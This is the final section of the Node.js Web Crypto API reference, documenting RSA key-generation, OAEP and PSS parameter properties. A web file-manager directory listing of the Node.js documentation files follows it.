<h5><code>rsaHashedKeyAlgorithm.modulusLength</code><span><a class="mark" href="#rsahashedkeyalgorithmmoduluslength" id="rsahashedkeyalgorithmmoduluslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeyalgorithm_moduluslength"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length in bits of the RSA modulus.</p>
</div><div>
<h5><code>rsaHashedKeyAlgorithm.name</code><span><a class="mark" href="#rsahashedkeyalgorithmname" id="rsahashedkeyalgorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeyalgorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div><div>
<h5><code>rsaHashedKeyAlgorithm.publicExponent</code><span><a class="mark" href="#rsahashedkeyalgorithmpublicexponent" id="rsahashedkeyalgorithmpublicexponent">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeyalgorithm_publicexponent"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" class="type">&#x3C;Uint8Array></a></li>
</ul>
<p>The RSA public exponent.</p>
</div></div><div>
<h4>Class: <code>RsaHashedKeyGenParams</code><span><a class="mark" href="#class-rsahashedkeygenparams" id="class-rsahashedkeygenparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_rsahashedkeygenparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>rsaHashedKeyGenParams.hash</code><span><a class="mark" href="#rsahashedkeygenparamshash" id="rsahashedkeygenparamshash">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeygenparams_hash"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a></li>
</ul>
<p>If represented as a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a>, the value must be one of:</p>
<ul>
<li><code>'SHA-1'</code></li>
<li><code>'SHA-256'</code></li>
<li><code>'SHA-384'</code></li>
<li><code>'SHA-512'</code></li>
</ul>
<p>If represented as an <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a>, the object's <code>name</code> property
must be one of the above listed values.</p>
</div><div>
<h5><code>rsaHashedKeyGenParams.modulusLength</code><span><a class="mark" href="#rsahashedkeygenparamsmoduluslength" id="rsahashedkeygenparamsmoduluslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeygenparams_moduluslength"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length in bits of the RSA modulus. As a best practice, this should be
at least <code>2048</code>.</p>
</div><div>
<h5><code>rsaHashedKeyGenParams.name</code><span><a class="mark" href="#rsahashedkeygenparamsname" id="rsahashedkeygenparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeygenparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'RSASSA-PKCS1-v1_5'</code>, <code>'RSA-PSS'</code>, or
<code>'RSA-OAEP'</code>.</li>
</ul>
</div><div>
<h5><code>rsaHashedKeyGenParams.publicExponent</code><span><a class="mark" href="#rsahashedkeygenparamspublicexponent" id="rsahashedkeygenparamspublicexponent">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsahashedkeygenparams_publicexponent"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" class="type">&#x3C;Uint8Array></a></li>
</ul>
<p>The RSA public exponent. This must be a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" class="type">&#x3C;Uint8Array></a> containing a big-endian,
unsigned integer that must fit within 32-bits. The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" class="type">&#x3C;Uint8Array></a> may contain an
arbitrary number of leading zero-bits. The value must be a prime number. Unless
there is reason to use a different value, use <code>new Uint8Array([1, 0, 1])</code>
(65537) as the public exponent.</p>
</div></div><div>
<h4>Class: <code>RsaOaepParams</code><span><a class="mark" href="#class-rsaoaepparams" id="class-rsaoaepparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_rsaoaepparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>rsaOaepParams.label</code><span><a class="mark" href="#rsaoaepparamslabel" id="rsaoaepparamslabel">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsaoaepparams_label"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>An additional collection of bytes that will not be encrypted, but will be bound
to the generated ciphertext.</p>
<p>The <code>rsaOaepParams.label</code> parameter is optional.</p>
</div><div>
<h5><code>rsaOaepParams.name</code><span><a class="mark" href="#rsaoaepparamsname" id="rsaoaepparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsaoaepparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> must be <code>'RSA-OAEP'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>RsaPssParams</code><span><a class="mark" href="#class-rsapssparams" id="class-rsapssparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_rsapssparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>rsaPssParams.name</code><span><a class="mark" href="#rsapssparamsname" id="rsapssparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsapssparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'RSA-PSS'</code>.</li>
</ul>
</div><div>
<h5><code>rsaPssParams.saltLength</code><span><a class="mark" href="#rsapssparamssaltlength" id="rsapssparamssaltlength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsapssparams_saltlength"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length (in bytes) of the random salt to use.</p>
<section data-footnotes="" class="footnotes"><h3 class="sr-only" id="footnote-label">Footnotes</h3>
<ol>
<li id="user-content-fn-1">
<p>An experimental implementation of Ed448 and X448 algorithms from
<a href="https://wicg.github.io/webcrypto-secure-curves/">Secure Curves in the Web Cryptography API</a> as of 21 October 2024 <a href="#user-content-fnref-1" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩</a> <a href="#user-content-fnref-1-2" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>2</sup></a> <a href="#user-content-fnref-1-3" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>3</sup></a> <a href="#user-content-fnref-1-4" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>4</sup></a> <a href="#user-content-fnref-1-5" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>5</sup></a> <a href="#user-content-fnref-1-6" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>6</sup></a> <a href="#user-content-fnref-1-7" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>7</sup></a> <a href="#user-content-fnref-1-8" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>8</sup></a> <a href="#user-content-fnref-1-9" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>9</sup></a> <a href="#user-content-fnref-1-10" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>10</sup></a> <a href="#user-content-fnref-1-11" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>11</sup></a> <a href="#user-content-fnref-1-12" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>12</sup></a> <a href="#user-content-fnref-1-13" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>13</sup></a> <a href="#user-content-fnref-1-14" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>14</sup></a> <a href="#user-content-fnref-1-15" data-footnote-backref="" class="data-footnote-backref" aria-label="Back to content">↩<sup>15</sup></a></p>
</li>
</ol>
</section></div></div></section>
        <!-- API END -->
      </div>
    </div>
  </div>
</body>
</html>

Filemanager

Name Type Size Permission Actions
assets Folder 0755
addons.html File 107.46 KB 0644
addons.json.gz File 11.01 KB 0644
addons.md File 39.89 KB 0644
all.html File 8.67 MB 0644
all.json.gz File 1.01 MB 0644
assert.html File 215.02 KB 0644
assert.json.gz File 15.05 KB 0644
assert.md File 72.71 KB 0644
async_context.html File 85.71 KB 0644
async_context.json.gz File 7.18 KB 0644
async_context.md File 25.17 KB 0644
async_hooks.html File 88.88 KB 0644
async_hooks.json.gz File 9.82 KB 0644
async_hooks.md File 30.52 KB 0644
buffer.html File 484.41 KB 0644
buffer.json.gz File 29.12 KB 0644
buffer.md File 149.42 KB 0644
child_process.html File 214.18 KB 0644
child_process.json.gz File 21.81 KB 0644
child_process.md File 83.3 KB 0644
cli.html File 258.67 KB 0644
cli.json.gz File 39.13 KB 0644
cli.md File 113.19 KB 0644
cluster.html File 92.16 KB 0644
cluster.json.gz File 9.46 KB 0644
cluster.md File 28.89 KB 0644
console.html File 63.73 KB 0644
console.json.gz File 6.28 KB 0644
console.md File 17.38 KB 0644
corepack.html File 15.56 KB 0644
corepack.json File 866 B 0644
corepack.md File 401 B 0644
crypto.html File 526.52 KB 0644
crypto.json.gz File 46.5 KB 0644
crypto.md File 193.72 KB 0644
debugger.html File 30.54 KB 0644
debugger.json.gz File 3.42 KB 0644
debugger.md File 7.88 KB 0644
deprecations.html File 237.81 KB 0644
deprecations.json.gz File 28.63 KB 0644
deprecations.md File 117.72 KB 0644
dgram.html File 93.62 KB 0644
dgram.json.gz File 10.63 KB 0644
dgram.md File 32.28 KB 0644
diagnostics_channel.html File 130.69 KB 0644
diagnostics_channel.json.gz File 10.38 KB 0644
diagnostics_channel.md File 39.31 KB 0644
dns.html File 150.29 KB 0644
dns.json.gz File 16.91 KB 0644
dns.md File 59.01 KB 0644
documentation.html File 27.74 KB 0644
documentation.json.gz File 2.57 KB 0644
documentation.md File 5.68 KB 0644
domain.html File 49.94 KB 0644
domain.json.gz File 6.21 KB 0644
domain.md File 15.21 KB 0644
embedding.html File 27.42 KB 0644
embedding.json.gz File 3.03 KB 0644
embedding.md File 6.74 KB 0644
environment_variables.html File 24.29 KB 0644
environment_variables.json.gz File 2.58 KB 0644
environment_variables.md File 5.08 KB 0644
errors.html File 337.36 KB 0644
errors.json.gz File 47.68 KB 0644
errors.md File 112.09 KB 0644
esm.html File 93.22 KB 0644
esm.json.gz File 16 KB 0644
esm.md File 44.27 KB 0644
events.html File 236.33 KB 0644
events.json.gz File 17.91 KB 0644
events.md File 68.71 KB 0644
fs.html File 666.11 KB 0644
fs.json.gz File 71.32 KB 0644
fs.md File 263.58 KB 0644
globals.html File 98.26 KB 0644
globals.json.gz File 12.43 KB 0644
globals.md File 29.48 KB 0644
http.html File 330.81 KB 0644
http.json.gz File 40 KB 0644
http.md File 126.6 KB 0644
http2.html File 389.2 KB 0644
http2.json.gz File 42.34 KB 0644
http2.md File 152.2 KB 0644
https.html File 72.6 KB 0644
https.json.gz File 6.21 KB 0644
https.md File 21.04 KB 0644
index.html File 13.9 KB 0644
index.json File 54 B 0644
index.md File 2.06 KB 0644
inspector.html File 65.18 KB 0644
inspector.json.gz File 5.74 KB 0644
inspector.md File 17.75 KB 0644
intl.html File 34.48 KB 0644
intl.json.gz File 4.12 KB 0644
intl.md File 11.49 KB 0644
module.html File 171.06 KB 0644
module.json.gz File 21.59 KB 0644
module.md File 69.85 KB 0644
modules.html File 96.67 KB 0644
modules.json.gz File 14.83 KB 0644
modules.md File 40.53 KB 0644
n-api.html File 432.96 KB 0644
n-api.json.gz File 55.7 KB 0644
n-api.md File 235.86 KB 0644
net.html File 167.45 KB 0644
net.json.gz File 20.51 KB 0644
net.md File 60.3 KB 0644
os.html File 74.59 KB 0644
os.json.gz File 9.18 KB 0644
os.md File 36.29 KB 0644
packages.html File 89.9 KB 0644
packages.json.gz File 13.05 KB 0644
packages.md File 38.8 KB 0644
path.html File 57.7 KB 0644
path.json.gz File 5.43 KB 0644
path.md File 16.48 KB 0644
perf_hooks.html File 187.34 KB 0644
perf_hooks.json.gz File 13.83 KB 0644
perf_hooks.md File 59.15 KB 0644
permissions.html File 29.01 KB 0644
permissions.json.gz File 3.64 KB 0644
permissions.md File 8.35 KB 0644
process.html File 343.73 KB 0644
process.json.gz File 37.12 KB 0644
process.md File 128.36 KB 0644
punycode.html File 27.65 KB 0644
punycode.json.gz File 2 KB 0644
punycode.md File 4.19 KB 0644
querystring.html File 29.92 KB 0644
querystring.json.gz File 2.65 KB 0644
querystring.md File 5.55 KB 0644
readline.html File 115.99 KB 0644
readline.json.gz File 11.81 KB 0644
readline.md File 41.32 KB 0644
repl.html File 96.41 KB 0644
repl.json.gz File 11.56 KB 0644
repl.md File 31.55 KB 0644
report.html File 101.16 KB 0644
report.json.gz File 7.44 KB 0644
report.md File 23.41 KB 0644
single-executable-applications.html File 52.13 KB 0644
single-executable-applications.json.gz File 6.77 KB 0644
single-executable-applications.md File 18.27 KB 0644
sqlite.html File 92.73 KB 0644
sqlite.json.gz File 11 KB 0644
sqlite.md File 34.86 KB 0644
stream.html File 412.01 KB 0644
stream.json.gz File 53.26 KB 0644
stream.md File 152.09 KB 0644
string_decoder.html File 28.31 KB 0644
string_decoder.json.gz File 1.59 KB 0644
string_decoder.md File 3.57 KB 0644
synopsis.html File 20.35 KB 0644
synopsis.json File 2.96 KB 0644
synopsis.md File 2.11 KB 0644
test.html File 343.78 KB 0644
test.json.gz File 31.84 KB 0644
test.md File 122.47 KB 0644
timers.html File 62.4 KB 0644
timers.json.gz File 5.33 KB 0644
timers.md File 16.76 KB 0644
tls.html File 203.47 KB 0644
tls.json.gz File 35.24 KB 0644
tls.md File 98.58 KB 0644
tracing.html File 43.55 KB 0644
tracing.json.gz File 3.58 KB 0644
tracing.md File 10.58 KB 0644
tty.html File 40.73 KB 0644
tty.json.gz File 3.88 KB 0644
tty.md File 9.56 KB 0644
typescript.html File 29.27 KB 0644
typescript.json.gz File 3.38 KB 0644
typescript.md File 7.69 KB 0644
url.html File 161.29 KB 0644
url.json.gz File 16.67 KB 0644
url.md File 57.4 KB 0644
util.html File 351.85 KB 0644
util.json.gz File 30.22 KB 0644
util.md File 114.07 KB 0644
v8.html File 134.81 KB 0644
v8.json.gz File 14.51 KB 0644
v8.md File 43.79 KB 0644
vm.html File 188 KB 0644
vm.json.gz File 22.9 KB 0644
vm.md File 80.88 KB 0644
wasi.html File 32.28 KB 0644
wasi.json.gz File 3.49 KB 0644
wasi.md File 8.25 KB 0644
webcrypto.html File 161.61 KB 0644
webcrypto.json.gz File 10.2 KB 0644
webcrypto.md File 47.22 KB 0644
webstreams.html File 165.16 KB 0644
webstreams.json.gz File 10.95 KB 0644
webstreams.md File 41.21 KB 0644
worker_threads.html File 169.32 KB 0644
worker_threads.json.gz File 17.33 KB 0644
worker_threads.md File 59.46 KB 0644
zlib.html File 156.29 KB 0644
zlib.json.gz File 12.86 KB 0644
zlib.md File 49 KB 0644